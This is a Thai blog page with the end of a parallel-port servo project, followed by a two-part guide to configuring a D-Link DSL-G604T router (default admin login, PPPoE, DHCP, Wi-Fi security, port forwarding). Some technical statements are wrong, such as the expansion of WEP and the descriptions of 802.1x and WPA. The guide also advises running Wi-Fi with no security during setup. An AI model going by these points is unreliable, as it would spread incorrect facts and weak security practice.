สายแพแบบติดกันอย่างน้อยสามเส้น (จะใช้สายโทรศัพท์ที่ภายในมีสี่เส้นก็ได้) ยาวสี่เมตร

เซอร์โว ผู้เขียนแกะออกมาจากหุ่นยนต์เก่าๆ ที่ไม่ได้ใช้แล้ว

แผ่นวงจรพิมพ์อเนกประสงค์ (ถ้าไม่อยากใช้แผ่นพรินท์ จะต่อโยงกันแบบรังนกก็ได้)

ขาสำหรับทำคอนเนคเตอร์ตัวผู้ (ถ้ามีชนิดที่มีตัวบังคับป้องกันการการเสียบสลับด้านจะยิ่งดี)

 

คอนเนคเตอร์แบบสามขาตัวเมีย (ไม่จำเป็นต้องเหมือนในรูป ให้ใช้แบบเท่าที่หาได้)

เครื่องมือตัดแผ่นวงจรพิมพ์

หรือจะใช้เลื่อยแบบนี้ตัดก็ได้

หัวแร้งแช่วัตต์ต่ำ (20W) ตะกั่วบัดกรีเส้นเล็กแบบมียางสนอยู่ภายใน

 

วงจรหุ่นแอ๊บแบ๊ว

เราจะใช้คอมพิวเตอร์ควบคุมเซอร์โวผ่านทางพอร์ทเครื่องพิมพ์ (พอร์ทขนานก็ว่า) พอร์ทนี้มีในคอมพิวเตอร์ทุกเครื่อง แต่มักไม่ได้ใช้ทำอะไร เพราะเครื่องพิมพ์ปัจจุบันใช้อินเตอร์เฟสแบบ USB หมดแล้ว เนื่องจากแรงดันไฟฟ้าของพอร์ทนี้เป็นระดับ TTL จึงสามารถนำมาต่อกับเซอร์โวได้โดยตรง

เซอร์โวต้องการไฟเลี้ยง 6 โวลต์ เพื่อแก้ปัญหาเรื่องการสร้างแหล่งจ่ายไฟ ผู้เขียนตัดสินใจใช้ไฟเลี้ยงจากเพาเวอร์ซัพพลายของคอมพิวเตอร์ แม้จะได้แรงดันเพียง 5 โวลต์ แต่ก็เพียงพอจะให้เซอร์โวทำงานได้ ดังนั้นการติดตั้งหุ่นแอ๊บแบ๊วจึงต้องเปิดฝาเครื่องพีซีเพื่อเสียบหัวเสียบเพาเวอร์ซัพพลาย หากท่านคิดว่าการทำเช่นนั้นไม่สะดวก อาจดัดแปลงไปใช้ไฟเลี้ยงจากหัวเสียบ USB ก็ได้เหมือนกันกัน แต่ผู้เขียนไม่ใช้วิธีนั้น เพราะค่อนข้างอันตราย หากเกิดความผิดพลาดอาจทำให้เมนบอร์ดชำรุดได้

ผู้เขียนออกแบบให้วงจรของหุ่นแอ๊บแบ๊วมีอุปกรณ์น้อยชิ้นที่สุด T1 คือหัวต่อไฟเลี้ยงในเครื่องคอมพิวเตอร์ T2 คือหัวต่อเครื่องพิมพ์ (เป็นคอนเนคเตอร์แบบ DB25) LED1 ทำหน้าที่บอกให้รู้ว่าวงจรมีไฟเลี้ยงหรือไม่ LED2 บอกให้รู้ว่าวงจรได้รับสัญญาณจาก D0 หรือไม่ R1 ทำหน้าที่เป็นตัวต้านทาน pull-down เพื่อรับประกันว่าขา Sig (ขารับพัลส์) ของเซอร์โวจะมีตรรกะเป็นศูนย์อยู่เสมอ (ยกเว้นตอนรับพัลส์จากคอมพิวเตอร์)

 

โปรดติดตามตอนต่อไป

หน้าแรก สารบัญ เกี่ยวกับบล็อกนี้ เกี่ยวกับผู้เขียน

เราเตอร์เทเบิ้ล [2]

ค้นพบสิ่งที่ซ่อนอยู่ในเราเตอร์ วิธีกำหนดค่าพื้นฐานในเราเตอร์ที่คุณควรรู้

ลาภลอย วานิชอังกูร www.laploy.com


MAC ที่กินไม่ได้

MAC แอดเดรส (Media Access Control address) คือหมายเลขประจำตัวของอุปกรณ์ในเครือข่าย หมายเลขนี้ถูกกำหนดไว้ในตัวฮาร์ดแวร์จากโรงงานผู้ผลิต หมายเลขเหล่านี้ไม่มีซ้ำกัน ยกตัวอย่างเช่นวงจรเชื่อมต่ออีเธอเนตในคอมพิวเตอร์ของเราจะมี MAC แอดเดรสที่ไม่ซ้ำกับอุปกรณ์ใดๆ ในโลก หากต้องการทราบว่า MAC ในคอมพิวเตอร์ของเรามีค่าเป็นเท่าใดให้ทำดังนี้

  1. กดปุ่ม Start
  2. เลือกหัวข้อ Run…
  3. พิมพ์ cmd แล้วกด OK
  4. พิมพ์ ipconfig/all แล้วกด Enter

 

ผลลัพธ์จากคำสั่ง ipconfig/all

 

แม่ข่าย DHCP

เราเตอร์จำลองการทำงานของแม่ข่าย DHCP ได้ด้วย แม่ข่ายนี้ทำหน้าที่กำหนดหมายเลขไอพีแอดเดรสให้แก่เครื่องลูกข่าย เพื่อให้เครื่องลูกข่ายสามารถเชื่อมต่อกับแลนและอินเตอร์เน็ตได้ แม่ข่าย DHCP จะรับประกันว่าเครื่องลูกข่ายทุกเครื่องจะได้หมายเลขไอพีที่แตกต่างกันเสมอ (คือไม่มีทางซ้ำกัน)

ปรกติพนักงานผู้ดูแลระบบ (admin) จะทำหน้าที่กำหนดหมายเลขไอพีให้แก่เครื่องลูกข่ายแต่ละเครื่อง ทำให้ MAC แอดเดรสจับคู่กับไอพีแอดเดรสที่ไม่ซ้ำกันอย่างถาวร

แม่ข่าย DHCP สามารถกำหนดหมายเลขไอพีให้แก่เครื่องลูกข่ายได้อย่างมีพลวัต คือการจับคู่ระหว่างไอพีแอดรสกับ MAC แอดเดรสจะไม่ตายตัว แต่จะเปลี่ยนแปลงไปอย่างเช่น หาก MAC แอดเดรสหนึ่งไม่ได้ใช้ไอพีอีกต่อไปแล้ว (เช่นปิดเครื่องหรือถูกนำออกไปจากเครือข่ายอย่างถาวร) แม่ข่าย DHCP อาจนำไอพีนั้นไปใช้กับ MAC แอดเดรสอื่นๆ ได้ โดยจะเลือกใช้จากย่านไอพี (IP pool ไอพีพูล) ที่เรากำหนดไว้

 

หน้าล็อกอิน

เมื่อเซตค่าให้วินโดวส์รับไอพีจากแม่ข่าย DHCP แล้ว ให้เปิดเว็บบราวเซอร์ (อินเตอร์เน็ตเอ็กซ์พรอเรอหรือไฟร์ฟอกซ์ก็ได้) แล้วป้อมพิมพ์ไอพีต่อไปนี้ในช่องแอดเดรส 192.168.1.1 นี่คือหมายเลขไอพีแอดเดรสของเราเตอร์ หากทุกอย่างเรียบร้อยดีเราเตอร์จะแสดงหน้าโฮมเพจหรือหน้าล็อกอิน

ในหน้านี้เราต้องป้อนชื่อและรหัสผ่านของผู้ใช้ ในช่อง Login Name และช่อง Password ให้ป้อน admin เหมือนกันทั้งสองช่อง แล้วกดปุ่ม Login (ถ้าเป็นเราเตอร์ที่มากับ True ให้ป้อนพิมพ์รหัสผ่านว่า ทรูคอร์ปอเรชั่น ขณะที่แป้นพิมพ์อยู่ในโหมดภาษาอังกฤษ) หากป้อนชื่อและรหัสผ่านถูกต้อง เราเตอร์จะแสดงข้อมูลต่างๆ (เช่นระยะเวลาที่ใช้ สถานะของ DSL ฯลฯ) เพื่อเป็นเครื่องแสดงว่าเราได้ล็อกอินเข้าในซอฟต์แวร์ของเราเตอร์สำเร็จแล้ว

 

หน้าล็อกอิน

ให้ป้อนคำว่า admin ในช่อง Login Name และ Password

หากเราเตอร์แสดงข้อมูลแบบนี้แสดงว่าเราล็อกอินเข้าในซอฟต์แวร์ของเราเตอร์ได้สำเร็จ

 

เมื่ออยู่ในหน้าโฮมเพจจะเห็นว่าด้านบนมีแถบแสดงหัวข้อต่างๆ ดังนี้

  • Home: คือหน้าโฮมเพจหรือหน้าเริ่มต้น
  • Setup: หน้าคำสั่งสำหรับตั้งค่าทั่วไป
  • Advance: หน้าคำสั่งสำหรับตั้งค่ารายละเอียดเพิ่มเติม
  • Tools: หน้ารวมคำสั่งที่เป็นเครื่องมือต่างๆ
  • Status: หน้าแสดงสถานะต่างๆ
  • Help: หน้าแสดงข้อความอธิบายวิธีใช้งาน

 

ส่วนตั้งค่าอินเตอร์เน็ต

ค่า PPPoE คือการเชื่อมต่อกับโลกภายนอกผ่านระบบ ADSL หรือ WAN เป็นค่าที่ใช้เพื่อเชื่อมต่อเราเตอร์ของเรากับเครื่องแม่ข่ายของผู้ให้บริการอินเตอร์เน็ต การกำหนด PPPoE เป็นส่วนสำคัญพื้นฐานสุดของการตั้งค่าเราเตอร์ เมื่อซื้อเราเตอร์มาใหม่เราจะต้องกำหนดค่าในหน้านี้ก่อน ค่าบางค่าไม่จำเป็นต้องเปลี่ยน ค่าบางค่าต้องเปลี่ยนตามเอกสารที่ได้รับจากผู้ให้บริการอินเตอร์เน็ต เมื่อทำตามขั้นตอนในหัวข้อนี้โปรดตรวจสอบคู่มือการตั้งค่าของผู้ให้บริการอินเตอร์เน็ตตามไปด้วย

1. กดปุ่ม Connection 1 ซึ่งอยู่มุมซ้ายด้านล่างของจอภาพ เมื่อกดแล้วจะเห็นหน้า PPPoA Connection Setup

2. ในหน้า หน้า PPPoA Connection Setup ให้เลือก PPPoE จากหัวข้อ Type (อยู่ในดรอปดาวน์ลิสต์บ็อกส์) หน้าจอจะเปลี่ยนไปเป็น PPPoE Connection Setup

3. ใส่ชื่อในช่อง Name เป็นชื่อที่ตั้งไว้อ้างอิงการเชื่อมต่อกับ ISP เช่น TrueHiSpeed (ใส่ว่าอะไรก็ได้ แต่จะมีช่องว่างในชื่อไม่ได้)

4. ในหัวข้อ Options ให้เลือกทั้ง NAT และ FireWall

5. เปลี่ยนค่า VPI เป็น 0 ค่า VCI เป็น 100 หรือตามที่ระบุโดยผู้ให้บริการอินเตอร์เน็ต

6. ค่า QoS เป็น UBR ดีแล้วไม่ต้องเปลี่ยนยกเว้นว่าจะระบุเป็นอย่างอื่นในคู่มือการตั้งค่าของผู้ให้บริการอินเตอร์เน็ต

7. ค่า PCR และ SCR ปล่อยว่างนอกจากจะระบุเป็นอย่างอื่นในคู่มือการตั้งค่าของผู้ให้บริการอินเตอร์เน็ต

8. ช่อง Username และ Password ให้ใส่ชื่อรหัสผ่านที่ได้มาจากผู้ให้บริการอินเตอร์เน็ต

9. ค่าอื่นๆ นอกเหนือจากนี้ไม่ต้องตั้ง ให้กดปุ่ม Apply ได้เลย

10. บันทึกการกำหนดค่าเหล่านี้โดยเลือกแถบ Tools แล้วกดปุ่ม System Commands และ Save All

11. Restart เราเตอร์โดยการปิดแล้วเปิดเราเตอร์ (ถอดสายเพาเวอร์ออกแล้วเสียบกลับเข้าไปใหม่)

12. ถึงตอนนี้เราเตอร์น่าจะเชื่อมต่อกับอินเตอร์เน็ตได้แล้ว ให้ตรวจสอบว่าเราเตอร์ต่อกับ ADSL (บริการอินเตอร์เน็ตความเร็วสูงผ่านสายโทรศัพท์ธรรมดา) ได้หรือไม่โดยเข้าหน้าโฮมเพจของเราเตอร์ กดแทบ Status แล้วกดปุ่ม Connection Status ดูใต้หัวข้อ WAN และ State ของ Connection 1 หากต่อกับ ADSL ได้จะปรากฏข้อความว่า Connected

 

การตั้งค่าอินเตอร์เน็ตในหน้า PPPoE Connection Setup

 

ส่วนกำหนดค่าระบบไร้สาย

หัวต่อไปที่เราจะดูคือหัวข้อการกำหนดค่าระบบไร้สาย ซึ่งอยู่ในแถบ Setup ให้กดที่หัวข้อ Wireless Settings ในหน้า Wireless Settings จะมีหัวข้อต่างๆ ดังนี้

  • Enable AP : เป็นตัวเลือกว่าจะใช้ระบบไร้สายหรือไม่ หากไม่กดให้มีเครื่องหมายถูกเราจะใช้เราเตอร์ได้โดยผ่านสายแลนเท่านั้น จะใช้ตัวรับ Wi-Fi ไม่ได้
  • SSID : ใส่ข้อความเพื่อตั้งชื่อให้เราเตอร์ตัวนี้ ชื่อนี้ใช้เป็นตัวอ้างอิงตัวรับ-ส่งสัญญาณไร้สายที่ตำแหน่งนี้ มีประโยชน์เมื่อเราติดตั้งตัวรับ-ส่ง Wi-Fi ไว้หลายสถานี
  • Channel : กำหนดช่องสัญญาณที่จะใช้ ในกรณีที่บริเวณนั้นมีตัวรับ-ส่งสัญญาณไร้สายหลายตัว และเกิดสัญญาณรบกวนกัน เราต้องกำหนดให้เราเตอร์ไร้สายแต่ละตัว ให้ใช้ช่องสัญญาณแตกต่างกัน
  • Security : กำหนดรูปแบบการเข้ารหัสเพื่อรักษาความปลอดภัย

หากเป็นการตั้งค่าครั้งแรก ให้กำหนด Security เป็น None (คือไม่ใช้) ไว้ก่อน เมื่อตั้งค่าทุกอย่างสมบูรณ์แล้ว (คือคอมพิวเตอร์ทุกเครื่องในวงแลนเชื่อมต่อกันได้แล้ว) จึงค่อยมากำหนดรูปแบบการเข้ารหัสเพื่อรักษาความปลอดภัยภายหลัง

หน้าการกำหนดค่าระบบไร้สาย

 

พร้อมรับการบุก

เราเตอร์ไร้สายยี่ห้อ D-Link รุ่น DSL-G604T มีระบบรักษาความปลอดภัยสามโหมด คือ WEP, 802.1x และ WPA ไม่ว่าเราจะเลือกใช้ระบบรักษาความปลอดภัยโหมดใดก็ตาม เราต้องกำหนดค่าในวินโดวส์ (ส่วนของ Wireless Network Connection) แต่ละเครื่องให้ตรงกันด้วย คอมพิวเตอร์นั้นจึงจะเชื่อมต่อกับเครือข่ายได้

ต่อไปนี้เราจะมาดูว่ารักษาความปลอดภัยแต่ละแบบแตกต่างกันอย่างไร และเราสามารถกำหนดค่าอะไรในเราเตอร์ได้บ้าง

 

ระบบรักษาความปลอดภัยแบบ WEP

ระบบรักษาความปลอดภัยแบบ WEP (ย่อจาก Wireless Encryption Protocol) เป็นวิธีรักษาความปลอดภัยรุ่นเก่าก่อนหน้าที่จะมีระบบ Wi-Fi ปัจจุบันไม่นิยมใช้แล้วเพราะมีจุดอ่อนหลายอย่าง WEP ใช้วิธีเข้ารหัสโดยนำข้อมูลแต่ละเฟรมมาเข้ารหัสด้วยคีย์ขนาด 64, 128 หรือ 256 บิต เมื่อเลือกหัวข้อ WEP เราเตอร์จะแสดงหัวข้อต่างๆ ที่เกี่ยวข้องกับ WEP เพิ่มเติมอีกดังนี้

  • Enable WEP Wireless Security : เปิดระบบรักษาความปลอดภัยแบบ WEP
  • Authentication Type : วิธีอนุญาตให้เข้าระบบ มีให้เลือกสามแบบคือ open, share และ both หากเลือก open จะทำให้คอมพิวเตอร์ทุกเครื่องสามารถเข้าระบบได้ หากเลือก share จะทำให้เฉพาะคอมพิวเตอร์ที่กำหนดคีย์ไว้ตรงกันเท่านั้นจึงจะเข้าระบบได้ หากเลือก both เท่ากับไม่ใช้งานหัวข้อนี้
  • Encryption Key : ใส่ข้อความที่เราจะใช้เป็นตัวเข้ารหัส (ต้องป้อนเป็นเลขฐานสิบหก)

 

ระบบรักษาความปลอดภัยแบบ WEP

 

ระบบรักษาความปลอดภัยแบบ 802.1x

ระบบรักษาความปลอดภัยแบบ 802.1x คือมาตรฐาน IEEE 802.11 เป็นระบบรักษาความปลอดภัยที่ทันสมัยกว่า WEP เพราะเกิดจากการปรับปรุงจุดด้อยต่างๆ ใน WEP แต่ก็ถือว่าเก่าแล้ว และด้อยกว่า Wi-Fi ในหลายๆ ด้าน

ในระบบรักษาความปลอดภัยแบบ 802.1x เราต้องจัดตั้งแม่ข่าย RADIUS (Remote Authentication Dial In User Service) เพื่อตรวจสอบและยินยอมให้เฉพาะคอมพิวเตอร์ที่ได้รับอนุญาตเท่านั้นจึงจะสามารถเข้าถึงระบบเครือข่ายได้ หากเลือกระบบรักษาความปลอดภัยแบบนี้ เราเตอร์จะแสดงตัวเลือกให้ป้อนข้อมูลเพิ่มเติมดังนี้

  • Server IP Address : กำหนดไอพีแอดเดรสของแม่ข่าย RADIUS
  • Port : กำหนดช่องทางสื่อสารของของแม่ข่าย RADIUS
  • Secret : กำหนดรหัสผ่าน
  • Group Key Interval : กำหนดระยะเวลาที่ GTK จะเปลี่ยนเองโดยอัตโนมัติ (Groupwise Transient Key คือกลไกจัดการกับรหัสใน 802.11)

 

การกำหนดค่าสำหรับระบบรักษาความปลอดภัยแบบ 802.1x

 

ระบบรักษาความปลอดภัยแบบ WPA (Wi-Fi)

ระบบรักษาความปลอดภัยแบบ WPA (Wi-Fi Protected Access) หรือ 802.11i คือระบบรักษาความปลอดภัยที่ได้รับการปรับปรุงจาก WEP และ 802.1x จึงเป็นระบบรักษาความปลอดภัยใหม่ที่สุดในเราเตอร์ตัวนี้ (เราเตอร์ตัวอื่นอาจมี WPA2 ที่ใหม่กว่า) ระบบรักษาความปลอดภัยแบบ WPA มีให้เราเลือกใช้ได้สามโหมดคือ

  • 802.1x : การกำหนดค่าเหมือนในหัวข้อก่อนหน้านี้
  • PSK Hex : กำหนดค่าคีย์ Pre-Shared ป้อนเป็นเลขฐานสิบหก
  • PSK String : กำหนดค่าคีย์ Pre-Shared ป้อนเป็นตัวอักษร

ระบบรักษาความปลอดภัยแบบ WPA แบบ PSK String เป็นระบบรักษาความปลอดภัยที่ได้รับความนิยมมากที่สุด เพราะตั้งค่าได้ง่ายมาก ทำงานเข้ากันได้กับ Windows XP และอุปกรณ์แอร์พอร์ทของแอปเปิล

การกำหนดค่าสำหรับระบบรักษาความปลอดภัยแบบ WPA

 

โหมดการทำงานของโมเด็ม

เราเตอร์ไร้สายยี่ห้อ D-Link รุ่น DSL-G604T มีโมเด็มอยู่ในตัว โมเด็มนี้ทำงานได้สี่โหมดคือ T1413, GDMT, GLITE และ MMODE การเลือกโหมดเหล่านี้คือการเลือก modulation type หรือวิธีผสมข้อมูลเข้ากับสัญญาณภาหะ ปรกติ ISP ในบ้านเราจะใช้แบบ GDMT หัวข้อนี้ปรกติเราไม่ต้องกำหนดค่าเอง เพราะเราเตอร์จะตรวจสอบและตั้งค่าให้เราโดยอัตโนมัติ

 

หน้ากำหนดค่าการทำงานของโมเด็ม

 

หน้ากำหนด DHCP แบบ Server on

หากเลือกหัวข้อ Server on ในหน้า Setup/DHCP Configuration จะเป็นการเปิดให้เครื่องแม่ข่าย DHCP ภายในเราเตอร์ทำงาน ในโหมดนี้เราต้องกำหนดค่าสามค่าดังนี้

  • Start IP : คือไอพีแอดเดรสเริ่มต้นในไอพีพูล ค่านี้เป็นไอพีที่จะจ่ายให้ตัวลูกทั้งหลายในเครือข่าย จึงต้องไม่ซ้ำกับไอพีที่ใช้โดยตัวเราเตอร์เอง
  • End IP : ค่าไอพีสุดท้ายในไอพีพูล
  • Lease Time : กำหนดความนานเป็นวินาทีในการครอบครองหมายเลขไอพีของ MAC หากนานเกินค่านี้แล้วไม่มีการตอบสนองจาก MAC แม่ข่าย DHCP จะถือว่า MAC นั้นไม่อยู่ในระบบอีกต่อไป และสามารถนำเลขไอพีนั้นไปกำหนดให้กับ MAC ตัวอื่นๆ ต่อไปได้

 

หัวข้อ Server on ในหน้า Setup/DHCP Configuration

 

การจัดการหมายเลขไอพี

หัวข้อ Management IP ช่วยให้เรากำหนดค่าไอพีต่างๆ ให้แก่เราเตอร์ได้ ตามปรกติเราสามารถใช้ค่าปริยายที่เราเตอร์กำหนดมาได้ แต่หากระบบแลนของเรามีการกำหนดไอพีที่เฉพาะเจาะจง อาจต้องเปลี่ยนค่าเหล่านี้บางตัว หัวข้อที่เราเตอร์ให้เปลี่ยนได้คือ

  • IP Address : ไอพีแอดเดรสของเราเตอร์เอง ค่าที่มาจากโรงงานคือ 192.168.1.1 หากเรากำหนดเป็นค่าอื่นต้องแน่ใจว่าจดบันทึกไว้และอย่าทำบันทึกหาย มิฉะนั้นภายหลังเราอาจไม่สามารถเข้าหน้าเซตอัพของเราเตอร์ได้
  • Net Mask : กำหนดค่าที่จะใช้เพื่อการ mask ไอพีแอดเดรส
  • Host name : กำหนดชื่อโฮสต์
  • Domain name : กำหนดชื่อโดเมนในกรณีที่เราใช้ DNS Server

 

หัวข้อ Management IP

 

หัวข้อ LAN Clients

เมื่อเราใช้แม่ข่าย DHCP จ่ายไอพีแอดเดรสให้โดยอัตโนมัติ หากเราต้องการกำหนดไอพีแอดเดรสให้กับคอมพิวเตอร์เครื่องใดเครื่องหนึ่งโดยเฉพาะ หรือต้องการสงวนหรือจองบางไอพีไว้ก็สามารถทำได้ โดยการกำหนดค่าในหัวข้อ LAN Clients วิธีเปิดหน้า LAN Clients ทำได้โดยกดปุ่ม LAN Clients หรือกดที่ลิงค์ในหน้า Advance จะเห็นช่องให้กรอกไอพีแอดเดรสและชื่อโฮสต์ เราจะใช้ไอพีแอดเดรสอะไรก็ได้ซึ่งยังว่างอยู่ใน (ภายในย่านที่เรากำหนดไว้) แล้วกดปุ่ม Add

หัวข้อ LAN Clients

 

หัวข้อ Port Forwarding

การตั้งแม่ข่ายสำหรับการเล่นเกมเป็นกลุ่ม (อย่าง Doom, Unreal, Half Life) หรือแม่ข่ายอื่นๆ (เช่น FTP, IRC ฯลฯ) ในวงแลนอาจทำงานไม่ได้เพราะถูกกีดกันจาก NAT เราสามารถตั้งค่าในหัวข้อ Port Forwarding เพื่อหลีกเลี่ยงปัญหานี้ได้ วิธีทำคือเข้าไปในหน้า Port Forwarding แล้วตั้งค่าดังนี้

  1. เลือกชนิดของการเชื่อมต่อในหัวข้อ WAN
  2. เลือกไอพีในรายการ ไอพีเหล่านี้เป็นไอพีที่เรากำหนดไว้ในหัวข้อ LAN Clients
  3. เลือก Category ซึ่งมีประเภทของเกมหรือบริการอื่นๆ ที่ตั้งค่าไว้ล่วงหน้าแล้ว ให้เลือกที่ใกล้เคียง
  4. กดปุ่ม Add และ Apply

ตั้งค่าหัวข้อ Port Forwarding เพื่อให้แม่ข่ายที่มีปัญหากับ NAT ทำงานได้

 

หัวข้อ Access Control

ในทางกลับกันกับหัวข้อ Port Forwarding หากเราต้องการห้าม หรือจำกัดการทำงานของแม่ข่ายต่างๆ เช่น เกม FTP, DNS, IRC และอื่นๆ เราก็สามารถทำได้โดยการตั้งค่าในหัวข้อ Access Control ดังนี้

  1. เลือกชนิดของการเชื่อมต่อในหัวข้อ WAN
  2. เลือกไอพีในรายการ ไอพีเหล่านี้เป็นไอพีที่เรากำหนดไว้ในหัวข้อ LAN Clients
  3. เลือก Category ซึ่งมีประเภทของเกมหรือบริการอื่นๆ ที่ตั้งค่าไว้ล่วงหน้าแล้ว ให้เลือกที่ใกล้เคียง
  4. กดปุ่ม Add และ Apply

ตั้งค่าหัวข้อ Access Control เพื่อไม่ให้บริการบางอย่างทำงาน มักใช้เพื่อป้องกันอันตรายจาก Malware (เช่นโทรจัน สปายแวร์ ฯลฯ)

 

ประตุสู่โลกกว้าง

เราเตอร์เป็นอุปกรณ์ที่หาซื้อได้ง่าย ราคาไม่แพง แต่ก็เป็นอุปกรณ์ที่ซับซ้อนและละเอียดอ่อน เราเตอร์ช่วยให้เราเชื่อมต่อระบบแลนเข้ากับอินเตอร์เน็ตได้อย่างง่ายๆ หากเป็นเราเตอร์แบบมีจุดเข้าถึงแบบไร้สายหรือ Wi-Fi ในตัวจะใช้งานได้สะดวกมาก แต่ความสะดวกก็มาพร้อมกับความล่อแหลม เราเตอร์เป็นประตูที่เปิดเครือข่ายของเราออกสู่โลกภายนอก การเข้าใจเรื่องเราเตอร์เทเบิ้ลและวิธีเซตค่าต่างๆ จะช่วยให้เราปกป้องเครือข่าย และเพิ่มประสิทธิภาพการใช้อินเตอร์เน็ตได้

 

หน้าแรก สารบัญ เกี่ยวกับบล็อกนี้ เกี่ยวกับผู้เขียน

 

เราเตอร์เทเบิ้ล [1]

ค้นพบสิ่งที่ซ่อนอยู่ในเราเตอร์ วิธีกำหนดค่าพื้นฐานในเราเตอร์ที่คุณควรรู้

ลาภลอย วานิชอังกูร www.laploy.com

 

เราเตอร์ที่คุณซื้อมาอาจมีอะไรซ่อนไว้มากกว่าที่คิด ภายในเราเตอร์มีอะไร? อะไรคือโฮมเกตเวย์? อะไรคือ DHCP, PPPoE, MAC, AP, SSID, Channel, WEP, 802.1x, WPA, PSK Key, Pre-Shared, RADIUS, Net Mask, Port Forwarding ฯลฯ เชิญค้นหาคำตอบทั้งหมดนี้ได้ บทความนี้จะแนะนำให้ท่านรู้จักกับเราเตอร์ ซอฟท์แวร์ในเราเตอร์ ความหมายของคำศัพท์บางคำที่เกี่ยวกับระบบเครือข่าย และวิธีกำหนดค่าของซอฟท์แวร์ในเราเตอร์ เพื่อให้เครือข่ายในบ้านทำงานได้อย่างมีประสิทธิภาพและปลอดภัยจากการบุกรุก

เราเตอร์คือแบบนี้

หากบ้านของเรามีคอมพิวเตอร์หลายเครื่อง และเราต้องการให้คอมพิวเตอร์ทุกเครื่องใช้อินเตอร์เน็ตความเร็วสูงได้ โดยต่ออินเตอร์เน็ตเพียงคู่สายเดียว เราจำเป็นต้องจัดตั้งชุมสายย่อยขึ้นภายในบ้านเพื่อกระจายสัญญาณอินเตอร์เน็ตให้แก่คอมพิวเตอร์แต่ละเครื่อง โชคดีที่การทำเช่นนั้นง่ายมากและใช้อุปกรณ์เพียงตัวเดียว นั่นคือ เราเตอร์ (Router)

การเรียกอุปกรณ์ชนิดนี้ว่าเราเตอร์ไม่ถูกต้องเสียทีเดียว ชื่อจริงๆ ของมันคือ “เรสสิเด็นเกตเวย์” หรือ “โฮมเกตเวย์” (Residential gateway หรือ home gateway) เพราะในตัวของมันนอกจากจะมีเราเตอร์แล้วยังมีอุปกรณ์อื่นๆ ด้วย (ทำหน้าที่เป็นอุปกรณ์หลายอย่างในตัวเดียว หรือ All-in-one) คือประกอบด้วย ไอพีเราเตอร์, ADSL โมเด็ม, สวิทช์อีเทอร์เนตแบบหลายพอร์ท และจุดเชื่อมต่อไร้สาย ระบบ Wi-Fi

เราเตอร์ทำหน้าที่เชื่อมต่อระบบเครือข่ายในบ้าน หรือเครือข่ายท้องถิ่น (Local Area Network หรือ LAN) กับระบบเครือข่ายบริเวณกว้าง (Wide Area Network หรือ WAN) ซึ่งเป็นเครือข่ายของผู้ให้บริการอินเตอร์เน็ต มันใช้ NAT ร่วมกับ DHCP เพื่อให้คอมพิวเตอร์ทุกเครื่องในแลนสามารถเข้าถึงอินเตอร์เน็ตโดยใช้ไอพีแอดเดรสเดียวได้

เราเตอร์ยี่ห้อต่างๆ ที่นิยมใช้กันมากคือ 3Com, Asus, D-link, LinkSys, ZyXEL และอื่นๆ เราเตอร์เหล่านี้มีซอฟท์แวร์ภายในทำงานเหมือนหน้าเว็บ (Web application) เพื่อให้เราสามารถตั้งค่าต่างๆ ของเราเตอร์ได้อย่างพิสดาร แม้เราเตอร์แต่ละยี่ห้อจะมีเมนูแตกต่างกัน แต่หัวข้อและค่าที่ตั้งจะคล้ายๆ กัน ในบทความนี้จะยกตัวอย่าง ADSL เราเตอร์ไร้สายยี่ห้อ D-Link รุ่น DSL-G604T เพราะคนไทยใช้กันมาก

 

เราเตอร์ยี่ห้อ D-Link รุ่น G604T ยอดนิยม

 

ความสามารถและฮาร์ดแวร์ของเราเตอร์

ฮาร์ดแวร์ภายในของเราเตอร์ไม่ต่างจากคอมพิวเตอร์เครื่องหนึ่ง มีตัวประมวลผลกลาง หน่วยความจำแรม หน่วยความจำแฟลช วงจรสร้างสัญญาณนาฬิกา วงจรเชื่อมต่อกับอีเทอร์เนต อุปกรณ์สวิตช์อีเทอร์เนต วงจรรับ-ส่งสัญญาณวิทยุระบบ FM ความถี่ 2.4GHz วงจรเชื่อมต่อกับสายโทรศัพท์ วงจรแปลงสัญญาณ ADSL โมเด็ม และวงจรอื่นๆ

เราเตอร์ไร้สายยี่ห้อ D-Link รุ่น DSL-G604T มีคุณสมบัติดังนี้

  • มีระบบรักษาความปลอดภัยแบบจุดต่อจุด หรือ PPP คือในส่วนต่อกับ WAN จะมี PPPoA และ PPPoE
  • การทำงานแบบแม่ข่าย DHCP
  • การทำงานแบบ NAT
  • การทำงานกับ TCP/IP
  • การทำงานแบบ ATM (Asynchronous Transfer Mode)
  • คุณสมบัติอื่นๆ ทำ IP Filter และ Net Mask ได้

 

ภายในเราเตอร์มีส่วนประกอบต่างๆ ดังนี้

 

  1. วงจรแปลงสัญญาณสายโทรศัพท์ ADSL
  2. หลอดไฟ LED หลายสีแสดงสถานะของเครือข่าย
  3. หลอดไฟ LED สีเดียวแสดงสถานะของ USB
  4. ตัวประมวลผลหลัก
  5. พอร์ทสำหรับตรวจสอบ JTAG
  6. หน่วยความจำแรม
  7. หน่วยความจำแฟลช
  8. วงจรรักษาระดับแรงดันไฟ
  9. ฟิวส์ของแหล่งจ่ายไฟ
  10. หัวต่อไปแหล่งจ่ายไฟ
  11. ปุ่มรีเซต
  12. ผลึกแร่กำเนิดสัญญาณนาฬิกา
  13. พอร์ทอีเทอร์เนต
  14. วงจรแปลงอีเทอร์เนต
  15. วงจรรับ-ส่งอีเทอร์เนต
  16. พอร์ท USB
  17. หัวเสียบสายโทรศัพท์ RJ11
  18. ฟิวส์ของสายโทรศัพท์

 

แผนภูมิแสดงภาคการทำงานต่างๆ ในเราเตอร์

 

    • Phone Line : จุดต่อสายโทรศัพท์
    • Rx Pre-Amp : วงจรขยายสัญญาณส่วนหน้า (เบื้องต้น) ของภาครับ
    • Line Driver : วงจรขับสาย
    • Front-End : วงจรส่วนหน้า (เบื้องต้น)
    • Rx PGA : วงจรขยายสัญญาณของภาครับ
    • Tx Gain : วงจรขยายสัญญาณของภาคส่ง
    • ADC : ตัวแปลงอนาลอกเป็นดิจิตอล
    • DAC : ตัวแปลงดิจิตอลเป็นอนาลอก
    • Rx Filter : วงจรกรองความถี่ภาครับ
    • Tx Filter : วงจรกรองความถี่ภาคส่ง
    • DSP/CPU : ตัวประมวลผลสัญญาณดิจิตอล/หน่วยประมวลผลกลาง
    • LEDs : หลอดไฟแสดงสถานะ
    • Clock : วงจรสัญญาณนาฬิกา
    • EEPROM FLASH : หน่วยความจำแฟลช
    • SDRAM : หน่วยความจำแรม
    • Gateway 802.11 : วงจรประมวลผล Wi-Fi

ความหมายของสีในแผนภูมิ

  • Processor : หน่วยประมวลผล
  • Interface : หน่วยเชื่อมต่อ
  • Amplifier : วงจรขยายสัญญาณ
